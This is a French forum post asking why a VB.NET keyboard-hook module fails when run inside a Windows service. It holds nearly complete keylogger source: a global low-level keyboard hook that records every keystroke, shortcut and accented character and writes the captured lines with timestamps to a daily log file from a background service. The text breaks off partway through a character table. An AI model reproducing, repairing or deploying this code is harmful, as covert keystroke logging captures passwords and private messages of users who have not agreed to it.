Service windows vb.net et module [Fermé]

Messages postés
1247
Date d'inscription
mardi 7 mai 2002
Statut
Membre
Dernière intervention
18 février 2019
- - Dernière réponse : ucfoutu
Messages postés
18039
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
- 20 janv. 2016 à 19:05
Bonjour,

Je code mon premier service windows en vb .
J'essaie d'utiliser un module hook clavier
J'ai tester le code en mode windows application ca marche sans soucis.

Par contre en service, le hook ne marche pas.
ça passe bien par le timer , écriture de fichier ok, mais pas de capture des touches

Ma question est la suivante peu ton utiliser un module dans un projet de service windows ? car a par ça je ne vois pas d'où ca peu venir ?
C
Ci dessous code du hook que j'ai récupéré ici ou ailleurs ainsi que le code de mon service.

Merci d'avance pour vos réponses.



Imports System.IO
Imports System.Threading
Imports WindowsService1.HKkb

Public Class Service1
Private oTimer As System.Threading.Timer
Dim KL As New HKkb
Dim StrLigne As String


Protected Overrides Sub OnStart(ByVal args() As String)
' Ajoutez ici le code pour démarrer votre service. Cette méthode doit
' démarrer votre service.
Dim oCallback As New TimerCallback(AddressOf OnTimedEvent)
oTimer = New System.Threading.Timer(oCallback, Nothing, 0, 100)

'ecriture dans le fichier
FileOpen(1, "c:/temp/" & Replace(Date.Today, "/", "-") & ".txt", OpenMode.Append, OpenAccess.Default, OpenShare.Shared)
Print(1, "Demarrage service " & Now & vbCrLf)
FileClose(1)
KL.HookKeyboard()


End Sub

Protected Overrides Sub OnStop()
' Ajoutez ici le code pour effectuer les destructions nécessaires à l'arrêt de votre service.
'Création d'un flux d'écriture
'ecriture dans le fichier
FileOpen(1, "c:/temp/" & Replace(Date.Today, "/", "-") & ".txt", OpenMode.Append, OpenAccess.Default, OpenShare.Shared)
Print(1, "Arret service " & Now & vbCrLf)
FileClose(1)
KL.UnhookKeyboard()
End Sub

Sub OnTimedEvent(state As Object)


'capture frappe clavier
'Timer Hook Clavier
'=================='

'Recupération du contenu du hook
If KL.KeyLog = "" Then Exit Sub 'si vide on fait rien

StrLigne = StrLigne & KL.KeyLog 'recup du caractére dans la variable strligne

'Si VBCRLF dans strligne
If InStr(StrLigne, vbCrLf, CompareMethod.Text) <> 0 Then

'ecriture dans le fichier
FileOpen(1, "c:/temp/" & Replace(Date.Today, "/", "-") & ".txt", OpenMode.Append, OpenAccess.Default, OpenShare.Shared)
Print(1, StrLigne & " " & Now & vbCrLf)
FileClose(1)
StrLigne = ""
End If

KL.KeyLog = ""

End Sub
End Class


et le module :


Imports System.IO

Public Class HKkb


#Region "Declarations hook clavier"
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure

Private WM_KEYUP As Integer = &H101
Private WM_KEYDOWN As Short = &H100S

Private WM_SYSKEYDOWN As Integer = &H104
Private WM_SYSKEYUP As Integer = &H105

Private KeyboardHandle As IntPtr = 0
Private LastCheckedForegroundTitle As String = ""
Private callback As KeyboardHookDelegate = Nothing

Public KeyLog As String
Public KeyLogApp As String 'En cas d'utilisation de Mouse hook

Private RCtrl As Boolean = False
Private LCtrl As Boolean = False
Private Ctrl As Boolean = False
Private RShft As Boolean = False
Private LShft As Boolean = False
Private Shft As Boolean = False
Private Alt As Boolean = False
Private AltGr As Boolean = False
Private RWin As Boolean = False
Private Lwin As Boolean = False
Private Win As Boolean = False
Private CapsT As Boolean = False
Private Acct As Char = Nothing 'Accent détecté = "Accent" sinon vide
Private Caps As Boolean = My.Computer.Keyboard.CapsLock
Private Acde As String = ""
Private Kc As New Keycodes()



#End Region

Public Sub New()
'La liste fonctionne de la façon suivante :
'
'J'ai fait ici une version améliorée et plus visible de ma version précédente
'de détection de raccourcis, j'espere que vous saurez apprécier en cas de besoin...
'
'Le nombre représente le keycode, il ne faut pas changer l'ordre ni en supprimer un
'Tous les autres éléments sont optionnels et retournent "" si rien n'est mis
'Le 2 eme élément est ce qui sera retourné si on appuie une touche sans shift ni ctrl ni win ni alt
'Le 3 eme élément est retourné si une touche SHIFT est maintenue
'Le 4 eme élément est retourné si une touche CTRL est maintenue
'Le 5 eme élément est retourné si la touche ALTGR est maintenue
'Le 6 eme élément est retourné si la touche ALT est maintenue
'Le 7 eme élément est retourné si les touches WIN sont maintenues
'Le 8 eme élément est retourné si les touches WIN+SHIFT sont maintenues
'Le 9 eme élément est retourné si les touches WIN+CTRL sont maintenues
'Le 10 eme élément est retourné si les touches ALT+SHIFT sont maintenues
'Le 10 eme élément est particulier il concerne l'accentuation :
' Si 0, on renvoie le caractere en gardant l'accent en mémoire
' Si 1, on renvoie l'accent suivi du caractere (caractere non accentuable)
' Si 2, on accepte l'accentuation du caractere suivant la table d'accentuation.
'
' AVIS AUX DEBUTANTS
'Si mes textes entre "" ne vous conviennent pas
'changez les sans hésitez en gardant bien sur les "", cela ne détruira pas le programme
'Si vous n'y connaissez rien ne touchez pas trop

Kc.Add(0)
Kc.Add(1, "[CLIC GAUCHE]")
Kc.Add(2, "[CLIC DROIT]")
Kc.Add(3, "[ANNULATION]")
Kc.Add(4, "[CLIC BOUTON MILIEU]")
Kc.Add(5, "[CLIC BOUTON 4]")
Kc.Add(6, "[CLIC BOUTON 5]")
Kc.Add(7)
Kc.Add(8, "[RETOUR ARRIERE]")
Kc.Add(9, "[TABULATION]", , , "[PERMUTATION FENETRE←]", "[PERMUTATION FENETRE→]", "[FLIP 3D→]", "[FLIP 3D←]", "[FIGER LE FLIP 3D]")
Kc.Add(10)
Kc.Add(11)
Kc.Add(12, "[NETTOYER]")
Kc.Add(13, "[ENTER]" & vbCrLf, , , , "[PROPRIETES]")
Kc.Add(14)
Kc.Add(15)
Kc.Add(16, "[SHIFT]", , , , "[BASCULER CLAVIER]")
Kc.Add(17, "[CONTROL")
Kc.Add(18, "[ALT]")
Kc.Add(19, "[PAUSE]", , , , , "[PANNEAU INFOS SYS]")
Kc.Add(20, "[CAPS LOCK]")
Kc.Add(21)
Kc.Add(22)
Kc.Add(23)
Kc.Add(24)
Kc.Add(25)
Kc.Add(26)
Kc.Add(27, "[ECHAP]", , , , "[PARCOURIR LES FENETRES]", "[MENU DEMARRER]")
Kc.Add(28)
Kc.Add(29)
Kc.Add(30)
Kc.Add(31)
Kc.Add(32, " ", , , , "[MENU CONTEXTUEL]", , , , , 1)
Kc.Add(33, "[▲]")
Kc.Add(34, "[▼]")
Kc.Add(35, "[FIN / FIN LIGNE]", "[SLCT CURSEUR-FIN LIGNE]", "[FIN DOCUMENT]")
Kc.Add(36, "[DEBUT / DEBUT LIGNE]", "[SLCT DEBUT LIGNE-CURSEUR]", "[DEBUT DOCUMENT]")
Kc.Add(37, "[←]", "[SLCT GAUCHE]", "[DPL GAUCHE PAR GROUPE]", , "[DPL GAUCHE PAR GROUPE]")
Kc.Add(38, "[↑]", "[SLCT HAUT]")
Kc.Add(39, "[→]", "[SLCT DROITE]", "[DPL DROITE PAR GROUPE]", , "[DPL DROITE PAR GROUPE]")
Kc.Add(40, "[↓]", "[SLCT BAS]")
Kc.Add(41, "[SELECTION]")
Kc.Add(42, "[IMRPIMER")
Kc.Add(43, "[EXECUTER]")
Kc.Add(44, "[IMPRIM ECRAN]", , , , "[SCREENSHOT FENETRE EN COURS]")
Kc.Add(45, "[INSERER]", "[INSERER PRESSE PAPIER]")
Kc.Add(46, "[SUPPRIMER]", "[SUPPRIMER ← OU SUPPRIMER FICHIER]", "[SUPPRIMER RESTE DE LA LIGNE]", "[GESTIONNAIRE DE TACHES]")
Kc.Add(47, "[AIDE]")
Kc.Add(48, "à", "0", , "@", , , , , , 1)
Kc.Add(49, "&", "1", , , , , , , , 1)
Kc.Add(50, "é", "2", , "~", , , , , , 1)
Kc.Add(51, Chr(34), "3", , "#", , , , , , 1)
Kc.Add(52, "'", "4", , "{", , , , , , 1)
Kc.Add(53, "(", "5", , "[", , , , , , 1)
Kc.Add(54, "-", "6", , "|", , , , , , 1)
Kc.Add(55, "è", "7", , "`", , , , , , 1)
Kc.Add(56, "_", "8", , "\", , , , , , 1)
Kc.Add(57, "ç", "9", , "^", , , , , , 1)
Kc.Add(58)
Kc.Add(59)
Kc.Add(60)
Kc.Add(61)
Kc.Add(62)
Kc.Add(63)
Kc.Add(64)
Kc.Add(65, "a", "A", "[SELECTIONNER TOUT]", , , , , , , 2)
Kc.Add(66, "b", "B", "[ORGANISER FAVORIS]", , , , , , , 1)
Kc.Add(67, "c", "C", "[COPIER (CTRL+C)]", , , , , , , 1)
Kc.Add(68, "d", "D", , , , "[REDUIRE TOUT]", , , , 1)
Kc.Add(69, "e", "E", , , , "[EXPLORATEUR]", , , , 2)
Kc.Add(70, "f", "F", "[RECHERCHER]", , , "[RECHERCHER]", , "[RECHERCHER UN PC]", , 1)
Kc.Add(71, "g", "G", , , , , , , , 1)
Kc.Add(72, "h", "H", "[REMPLACER]", , , , , , , 1)
Kc.Add(73, "i", "I", , , , , , , , 2)
Kc.Add(74, "j", "J", , , , , , , , 1)
Kc.Add(75, "k", "K", , , , , , , , 1)
Kc.Add(76, "l", "L", , , , "[VERROUILLER SESSION]", , , , 1)
Kc.Add(77, "m", "M", , , , "[REDUIRE TOUT]", "[RESTAURER TOUT]", , , 1)
Kc.Add(78, "n", "N", "[NOUVEAU]", , , , , , , 2)
Kc.Add(79, "o", "O", "[OUVRIR]", , , , , , , 2)
Kc.Add(80, "p", "P", "[IMPRIMER]", , , , , , , 1)
Kc.Add(81, "q", "Q", , , , , , , , 1)
Kc.Add(82, "r", "R", , , , "[EXECUTER]", , , , 1)
Kc.Add(83, "s", "S", "[ENREGISTRER]", , , , , , , 1)
Kc.Add(84, "t", "T", , , , , , , , 1)
Kc.Add(85, "u", "U", , , , "[GESTIONNAIRE UTILS]", , , , 2)
Kc.Add(86, "v", "V", "[COLLER (CTRL+V]]", , , , , , , 1)
Kc.Add(87, "w", "W", "[FERMER (=ALT+F4)]", , , , , , , 1)
Kc.Add(88, "x", "X", "[COUPER (CTRL+X)]", , , "[CENTRE MOBILITE]", , , , 1)
Kc.Add(89, "y", "Y", "[RETABLIR]", , , , , , , 1)
Kc.Add(90, "z", "Z", "[ANNULER]", , , , , , , 1)
Kc.Add(91, "[WIN GAUCHE]")
Kc.Add(92, "[WIN DROITE]")
Kc.Add(93, "[APPLICATION]")
Kc.Add(94)
Kc.Add(95, "[VEILLE]")
Kc.Add(96, "0", , , , , , , , , 1)
Kc.Add(97, "1", , , , , , , , , 1)
Kc.Add(98, "2", , , , , , , , , 1)
Kc.Add(99, "3", , , , , , , , , 1)
Kc.Add(100, "4", , , , , , , , , 1)
Kc.Add(101, "5", , , , , , , , , 1)
Kc.Add(102, "6", , , , , , , , , 1)
Kc.Add(103, "7", , , , , , , , , 1)
Kc.Add(104, "8", , , , , , , , , 1)
Kc.Add(105, "9", , , , , , , , , 1)
Kc.Add(106, "*", , , , , , , , , 1)
Kc.Add(107, "+", , , , , , , , , 1)
Kc.Add(108, "[SEPARATEUR]", , , , , , , , , 1)
Kc.Add(109, "-", , , , , , , , , 1)
Kc.Add(110, ".", , , , , , , , , 1)
Kc.Add(111, "/", , , , , , , , , 1)
Kc.Add(112, "[AIDE (F1)]", , , , , "[AIDE WINDOWS (ALT+F1)]")
Kc.Add(113, "[RENOMMER (F2)]")
Kc.Add(114, "[RECHERCHER (F3)]")
Kc.Add(115, "[F4]", , , , "[FERMER PROGRAMME (ALT+F4)]")
Kc.Add(116, "[RAFRAICHIR (F5)]")
Kc.Add(117, "[F6]")
Kc.Add(118, "[F7]")
Kc.Add(119, "[F8]")
Kc.Add(120, "[F9]")
Kc.Add(121, "[ACTIVER BARRE MENU (F10)]")
Kc.Add(122, "[F11]")
Kc.Add(123, "[F12]")
Kc.Add(124, "[F13]")
Kc.Add(125, "[F14]")
Kc.Add(126, "[F15]")
Kc.Add(127, "[F16]")
Kc.Add(128, "[F17]")
Kc.Add(129, "[F18]")
Kc.Add(130, "[F19]")
Kc.Add(131, "[F20]")
Kc.Add(132, "[F21]")
Kc.Add(133, "[F22]")
Kc.Add(134, "[F23]")
Kc.Add(135, "[F24]")
Kc.Add(136)
Kc.Add(137)
Kc.Add(138)
Kc.Add(139)
Kc.Add(140)
Kc.Add(141)
Kc.Add(142)
Kc.Add(143)
Kc.Add(144, "[VERR NUM]")
Kc.Add(145, "[ARRET DEFIL]")
Kc.Add(146)
Kc.Add(147)
Kc.Add(148)
Kc.Add(149)
Kc.Add(150)
Kc.Add(151)
Kc.Add(152)
Kc.Add(153)
Kc.Add(154)
Kc.Add(155)
Kc.Add(156)
Kc.Add(157)
Kc.Add(158)
Kc.Add(159)
Kc.Add(160, "[SHIFT GAUCHE]")
Kc.Add(161, "[SHIFT DROITE]")
Kc.Add(162, "[CONTROL GAUCHE]")
Kc.Add(163, "[CONTROL DROITE]")
Kc.Add(164, "[ALT GAUCHE]")
Kc.Add(165, "[ALT DROITE]")
Kc.Add(166, "[NAVIG +]")
Kc.Add(167, "[NAVIG -]")
Kc.Add(168, "[NAVIG RAFRAICHIR]")
Kc.Add(169, "[NAVIG STOP]")
Kc.Add(170, "[NAVIG RECHERCHER]")
Kc.Add(171, "[NAVIG FAVORIS]")
Kc.Add(172, "[NAVIG HOME]")
Kc.Add(173, "[COUPER SON]")
Kc.Add(174, "[VOL -]")
Kc.Add(175, "[VOL +]")
Kc.Add(176, "[PISTE +]")
Kc.Add(177, "[PISTE -]")
Kc.Add(178, "[STOP]")
Kc.Add(179, "[MARCHE/PAUSE]")
Kc.Add(180, "[MAIL]")
Kc.Add(181, "[MEDIA]")
Kc.Add(182, "[APPLICATION 1]")
Kc.Add(183, "[APPLICATION 2]")
Kc.Add(184)
Kc.Add(185)
Kc.Add(186, "$", "£", , "¤", , , , , , 1)
Kc.Add(187, "=", "+", , "}", , , , , , 1)
Kc.Add(188, ",", "?", , , , , , , , 1)
Kc.Add(189)
Kc.Add(190, ";", ".", , , , , , , , 1)
Kc.Add(191, ":", "/", , , , , , , , 1)
Kc.Add(192, "ù", "%", , , , , , , , 1)
Kc.Add(193)
Kc.Add(194)
Kc.Add(195)
Kc.Add(196)
Kc.Add(197)
Kc.Add(198)
Kc.Add(199)
Kc.Add(200)
Kc.Add(201)
Kc.Add(202)
Kc.Add(203)
Kc.Add(204)
Kc.Add(205)
Kc.Add(206)
Kc.Add(207)
Kc.Add(208)
Kc.Add(209)
Kc.Add(210)
Kc.Add(211)
Kc.Add(212)
Kc.Add(213)
Kc.Add(214)
Kc.Add(215)
Kc.Add(216)
Kc.Add(217)
Kc.Add(218)
Kc.Add(219, ")", "°", , "]", , , , , , 1)
Kc.Add(220, "*", "µ", , , , , , , , 1)
Kc.Add(221, "^", "¨", , , , , , , , 1)
Kc.Add(222)
Kc.Add(223, "!", "§", , , , , , , , 1)
Kc.Add(224)
Kc.Add(225)
Kc.Add(226, "<", ">", , , , , , , , 1)
Kc.Add(227)
Kc.Add(228)
Kc.Add(229, "[PROCESS]")
Kc.Add(230)
Kc.Add(231)
Kc.Add(232)
Kc.Add(233)
Kc.Add(234)
Kc.Add(235)
Kc.Add(236)
Kc.Add(237)
Kc.Add(238)
Kc.Add(239)
Kc.Add(240)
Kc.Add(241)
Kc.Add(242)
Kc.Add(243)
Kc.Add(244)
Kc.Add(245)
Kc.Add(246, "[ATTN]")
Kc.Add(247, "[CRSEL]")
Kc.Add(248, "[EXSEL]")
Kc.Add(249, "[ERASE EOF]")
Kc.Add(250, "[PLAY]")
Kc.Add(251, "[ZOOM]")
Kc.Add(252)
Kc.Add(253)
Kc.Add(254, "[CLEAR]")
Kc.Add(255)
End Sub

#Region "Hook Clavier"


Public Function Hooked()
Return KeyboardHandle <> 0
End Function
Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
KeyLogApp = ""
'Dim CurrentTitle = GetActiveWindowTitle()
'If CurrentTitle <> LastCheckedForegroundTitle Then
'LastCheckedForegroundTitle = CurrentTitle
'KeyLogApp = "APPLICATION : " & CurrentTitle & " (" & Now.ToString() & ")" & vbCrLf


' End If


Dim Key As String = ""


If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
Select Case lParam.vkCode
Case 20
If CapsT = False Then
Caps = Not Caps
End If
CapsT = True
Case 91 : Lwin = True
Case 92 : RWin = True
Case 160 : LShft = True
Case 161 : RShft = True
Case 162 : RCtrl = True
Case 163 : LCtrl = True
Case 164 : Alt = True
Case 165 : AltGr = True
End Select
End If

If wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
Select Case lParam.vkCode
Case 20 : CapsT = False
Case 91 : Lwin = False
Case 92 : RWin = False
Case 160 : LShft = False
Case 161 : RShft = False
Case 162 : RCtrl = False
Case 163 : LCtrl = False
Case 164 : Alt = False
If Acde.Length > 0 Then
Dim j As Integer = CType(Acde, Integer)
Dim k As Integer
Dim r As Integer
If Acde.Chars(0) = "0" Then
k = Math.DivRem(j, 256, r)
Key = AsciiT(r + 256, 1)
Else
k = Math.DivRem(j, 256, r)
Key = AsciiT(r, 1)
End If
End If
Acde = ""
Case 165 : AltGr = False
End Select
End If



Ctrl = LCtrl Or RCtrl
Shft = LShft Or RShft
Win = Lwin Or RWin
If Ctrl And Alt Then AltGr = True

If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then




Dim Caps As Boolean = My.Computer.Keyboard.CapsLock

'Filtrage complet
If Not Ctrl And Not Alt And Not Shft And Not Win And Not AltGr Then
If Caps Then
Key = Kc.Item(lParam.vkCode).Ret_Base.ToUpper
Else
Key = Kc.Item(lParam.vkCode).Ret_Base
End If
End If

'CTRL + touches
If Ctrl And Not Alt And Not Shft And Not Win And Not AltGr Then
Key = Kc.Item(lParam.vkCode).Ret_Ctrl
End If

'SHIFT + touches
If Not Ctrl And Not Alt And Shft And Not Win And Not AltGr Then
If Caps Then
Key = Kc.Item(lParam.vkCode).Ret_Base
Else
Key = Kc.Item(lParam.vkCode).Ret_Shft
End If
End If

'ALTGR + touches
If AltGr And (Ctrl Or Alt) And Not Win And Not Shft Then
Key = Kc.Item(lParam.vkCode).Ret_AltGr
End If

'WIN + touches
If Win And Not Ctrl And Not Shft And Not Alt And Not AltGr Then
Key = Kc.Item(lParam.vkCode).Ret_Win
End If

'ALT + touches
If Alt And Not Ctrl And Not Shft And Not AltGr And Not Win Then
'ALT + combinaisons a 4 chiffres tel ß † etc etc
Dim keyA As String = Kc.Item(lParam.vkCode).Ret_Base
If keyA.Length <> 0 Then
If (Asc(keyA) >= 48) And (Asc(keyA) <= 57) Then
If Alt Then Acde &= keyA
End If
End If
Key = Kc.Item(lParam.vkCode).Ret_Alt
End If


'Detection d'accent
If Acct <> Nothing Then
Key = GetAccent(Key, lParam.vkCode, Kc.Item(lParam.vkCode).Ret_AccTrans)
End If
If (Key = "^") Or (Key = "¨") Or (Key = "~") Or (Key = "`") Then
Acct = Key
Key = ""
End If

'Pour bloquer un evenement faites cela (exemple : if Alt then...)
'If (votre condition) Then
'Return 1
'End If
End If

KeyLog &= KeyLogApp & Key


Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam)
End Function
Private Function GetAccent(ByVal Skey As String, ByVal Code As Integer, ByVal Ac As Integer) As String
Dim Acci As Integer
Dim Ex As Boolean
Dim Acc(,) As String = { _
{"â", "ä", "ã", "à"}, _
{"ê", "ë", "~e", "è"}, _
{"î", "ï", "~i", "ì"}, _
{"ô", "ö", "õ", "ò"}, _
{"û", "ü", "~u", "ù"}, _
{"Â", "Ä", "Ã", "À"}, _
{"Ê", "Ë", "~E", "È"}, _
{"Î", "Ï", "~I", "Ì"}, _
{"Ô", "Ö", "Õ", "Ò"}, _
{"Û", "Ü", "~U", "Ù"}, _
{"^n", "¨n", "ñ", "`n"}, _
{"^N", "¨N", "Ñ", "`N"}}

If (Skey = "^") Or (Skey = "¨") Or (Skey = "~") Or (Skey = "`") Then
Ex = True
Dim R As String = Acct & Skey
Acct = Nothing
Return R
End If

Select Case Acct
Case "^" : Acci = 0
Case "¨" : Acci = 1
Case "~" : Acci = 2
Case "`" : Acci = 3
End Select


Select Case Ac
Case 2
Select Case Skey
Case "a" : Acct = Nothing : Return Acc(0, Acci)
Case "e" : Acct = Nothing : Return Acc(1, Acci)
Case "i" : Acct = Nothing : Return Acc(2, Acci)
Case "o" : Acct = Nothing : Return Acc(3, Acci)
Case "u" : Acct = Nothing : Return Acc(4, Acci)
Case "A" : Acct = Nothing : Return Acc(5, Acci)
Case "E" : Acct = Nothing : Return Acc(6, Acci)
Case "I" : Acct = Nothing : Return Acc(7, Acci)
Case "O" : Acct = Nothing : Return Acc(8, Acci)
Case "U" : Acct = Nothing : Return Acc(9, Acci)
Case "n" : Acct = Nothing : Return Acc(10, Acci)
Case "N" : Acct = Nothing : Return Acc(11, Acci)
End Select
Case 1
Dim R As String = Acct & Skey
Acct = Nothing
Ex = True
Return R
Case 0
Return Skey
End Select


Return ""
End Function
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Public Sub UnhookKeyboard()
If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
KeyboardHandle = 0
End If
End Sub
Public Sub HookKeyboard()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)

KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
End Sub

#End Region

#Region "Variable Table ANSI"
Private AsciiT(,) As String = { _
{"0", ""}, _
{"1", "☺"}, {"2", "☻"}, {"3", "♥"}, {"4", "♦"}, {"5", "♣"}, {"6", "♠"}, {"7", "•"}, {"8", "◘"}, _
{"9", "○"}, {"10", "◙"}, {"11", "♂"}, {"12", "♀"}, {"13", "♪"}, {"14", "♫"}, {"15", "☼"}, {"16", "►"}, _
{"17", "◄"}, {"18", "↕"}, {"19", "‼"}, {"20", "¶"}, {"21", "§"}, {"22", "▬"}, {"23", "↨"}, {"24", "↑"}, _
{"25", "↓"}, {"26", "→"}, {"27", "←"}, {"28", "∟"}, {"29", "↔"}, {"30", "▲"}, {"31", "▼"}, {"32", " "}, _
{"33", "!"}, {"34", Chr(34)}, {"35", "#"}, {"36", "$"}, {"37", "%"}, {"38", Chr(38)}, {"39", "'"}, {"40", "("}, _
{"41", ")"}, {"42", "*"}, {"43", "+"}, {"44", ","}, {"45", "-"}, {"46", "."}, {"47", "/"}, {"48", "0"}, _
{"49", "1"}, {"50", "2"}, {"51", "3"}, {"52", "4"}, {"53", "5"}, {"54", "6"}, {"55", "7"}, {"56", "8"}, _
{"57", "9"}, {"58", ":"}, {"59", ";"}, {"60", "<"}, {"61", "="}, {"62", ">"}, {"63", "?"}, {"64", "@"}, _
{"65", "A"}, {"66", "B"}, {"67", "C"}, {"68", "D"}, {"69", "E"}, {"70", "F"}, {"71", "G"}, {"72", "H"}, _
{"73", "I"}, {"74", "J"}, {"75", "K"}, {"76", "L"}, {"77", "M"}, {"78", "N"}, {"79", "O"}, {"80", "P"}, _
{"81", "Q"}, {"82", "R"}, {"83", "S"}, {"84", "T"}, {"85", "U"}, {"86", "V"}, {"87", "W"}, {"88", "X"}, _
{"89", "Y"}, {"90", "Z"}, {"91", "["}, {"92", "\"}, {"93", "]"}, {"94", "^"}, {"95", "_"}, {"96", "`"}, _
{"97", "a"}, {"98", "b"}, {"99", "c"}, {"100", "d"}, {"101", "e"}, {"102", "f"}, {"103", "g"}, {"104", "h"}, _
{"105", "i"}, {"106", "j"}, {"107", "k"}, {"108", "l"}, {"109", "m"}, {"110", "n"}, {"111", "o"}, {"112", "p"}, _
{"113", "q"}, {"114", "r"}, {"115", "s"}, {"116", "t"}, {"117", "u"}, {"118", "v"}, {"119", "w"}, {"120", "x"}, _
{"121", "y"}, {"122", "z"}, {"123", "{"}, {"124", "|"}, {"125", "}"}, {"126", "~"}, {"127", "⌂"}, {"128", "Ç"}, _
{"129", "ü"}, {"130", "é"}, {"131", "â"}, {"132", "ä"}, {"133", "à"}, {"134", "å"}, {"135", "ç"}, {"136", "ê"}, _
{"137", "ë"}, {"138", "è"}, {"139", "ï"}, {"140", "î"}, {"141", "ì"}, {"142", "Ä"}, {"143", "Å"}, {"144", "É"}, _
{"145", "æ"}, {"146", "Æ"}, {"147", "ô"}, {"148", "ö"}, {"149", "ò"}, {"150", "û"}, {"151", "ù"}, {"152", "ÿ"}, _
{"153", "Ö"}, {"154", "Ü"}, {"155", "ø"}, {"156", "£"}, {"157", "Ø"}, {"158", "×"}, {"159", "ƒ"}, {"160", "á"}, _
{"161", "í"}, {"162", "ó"}, {"163", "ú"}, {"164", "ñ"}, {"165", "Ñ"}, {"166", "ª"}, {"167", "º"}, {"168", "¿"}, _
{"169", "®"}, {"170", "¬"}, {"171", "½"}, {"172", "¼"}, {"173", "¡"}, {"174", "«"}, {"175", "»"}, {"176", "░"}, _
{"177", "▒"}, {"178", "▓"}, {"179", "│"}, {"180", "┤"}, {"181", "Á"}, {"182", "Â"}, {"183", "À"}, {"184", "©"}, _
{"185", "╣"}, {"186", "║"}, {"187", "╗"}, {"188", "╝"}, {"189", "¢"}, {"190", "¥"}, {"191", "┐"}, {"192", "└"}, _
{"193", "┴"}, {"194", "┬"}, {"195", "├"}, {"196", "─"}, {"197", "┼"}, {"198", "ã"}, {"199", "Ã"}, {"200", "╚"}, _
{"201", "╔"}, {"202", "╩"}, {"203", "╦"}, {"204", "╠"}, {"205", "═"}, {"206", "╬"}, {"207", "¤"}, {"208", "ð"}, _
{"209", "Ð"}, {"210", "Ê"}, {"211", "Ë"}, {"212", "È"}, {"213", "ı"}, {"214", "Í"}, {"215", "Î"}, {"216", "Ï"}, _
{"217", "┘"}, {"218", "┌"}, {"219", "█"}, {"220", "▄"}, {"221", "¦"}, {"222", "Ì"}, {"223", "▀"}, {"224", "Ó"}, _
{"225", "ß"}, {"226", "Ô"}, {"227", "Ò"}, {"228", "õ"}, {"229", "Õ"}, {"230", "µ"}, {"231", "þ"}, {"232", "Þ"}, _
{"233", "Ú"}, {"234", "Û"}, {"235", "Ù"}, {"236", "ý"}, {"237", "Ý"}, {"238", "¯"}, {"239", "´"}, {"240", "­"}, _
{"241", "±"}, {"242", "‗"}, {"243", "¾"}, {"244", "¶"}, {"245", "§"}, {"246", "↑"}, {"247", "¸"}, {"248", "°"}, _
{"249", "¨"}, {"250", "·"}, {"251", "¹"}, {"252", "³"}, {"253", "²"}, {"254", "■"}, {"255", " "}, _
_
{"0", ""}, {"1", ""}, {"2", ""}, {"3", ""}, {"4", ""}, {"5", ""}, {"6", ""}, {"7", ""}, _
{"8", ""}, {"9", ""}, {"10", ""}, {"11", ""}, {"12", ""}, {"13", ""}, {"14", ""}, {"15", ""}, _
{"16", ""}, {"17", ""}, {"18", ""}, {"19", ""}, {"20", ""}, {"21", ""}, {"22", ""}, {"23", ""}, _
{"24", ""}, {"25", ""}, {"26", ""}, {"27", ""}, {"28", ""}, {"29", ""}, {"30", ""}, {"31", ""}, _
{"032", " "}, {"033", "!"}, {"034", Chr(34)}, {"035", "#"}, {"036", "$"}, {"037", "%"}, {"038", "&"}, {"039", "'"}, _
{"040", "("}, {"041", ")"}, {"042", "*"}, {"043", "+"}, {"044", ","}, {"045", "-"}, {"046", "."}, {"047", "/"}, _
{"048", "0"}, {"049", "1"}, {"050", "2"}, {"051", "3"}, {"052", "4"}, {"053", "5"}, {"054", "6"}, {"055", "7"}, _
{"056", "8"}, {"057", "9"}, {"058", ":"}, {"059", ";"}, {"060", "<"}, {"061", "="}, {"062", ">"}, {"063", "?"}, _
{"064", "@"}, {"065", "A"}, {"066", "B"}, {"067", "C"}, {"068", "D"}, {"069", "E"}, {"070", "F"}, {"071", "G"}, _
{"072", "H"}, {"073", "I"}, {"074", "J"}, {"075", "K"}, {"076", "L"}, {"077", "M"}, {"078", "N"}, {"079", "O"}, _
{"080", "P"}, {"081", "Q"}, {"082", "R"}, {"083", "S"}, {"084", "T"}, {"085", "U"}, {"086", "V"}, {"087", "W"}, _
{"088", "X"}, {"089", "Y"}, {"090", "Z"}, {"091", "["}, {"092", "\"}, {"093", "]"}, {"094", "^"}, {"095", "_"}, _
{"096", "`"}, {"097", "a"}, {"098", "b"}, {"099", "c"}, {"0100", "d"}, {"0101", "e"}, {"0102", "f"}, {"0103", "g"}, _
{"0104", "h"}, {"0105", "i"}, {"0106", "j"}, {"0107", "k"}, {"0108", "l"}, {"0109", "m"}, {"0110", "n"}, {"0111", "o"}, _
{"0112", "p"}, {"0113", "q"}, {"0114", "r"}, {"0115", "s"}, {"0116", "t"}, {"0117", "u"}, {"0118", "v"}, {"0119", "w"}, _
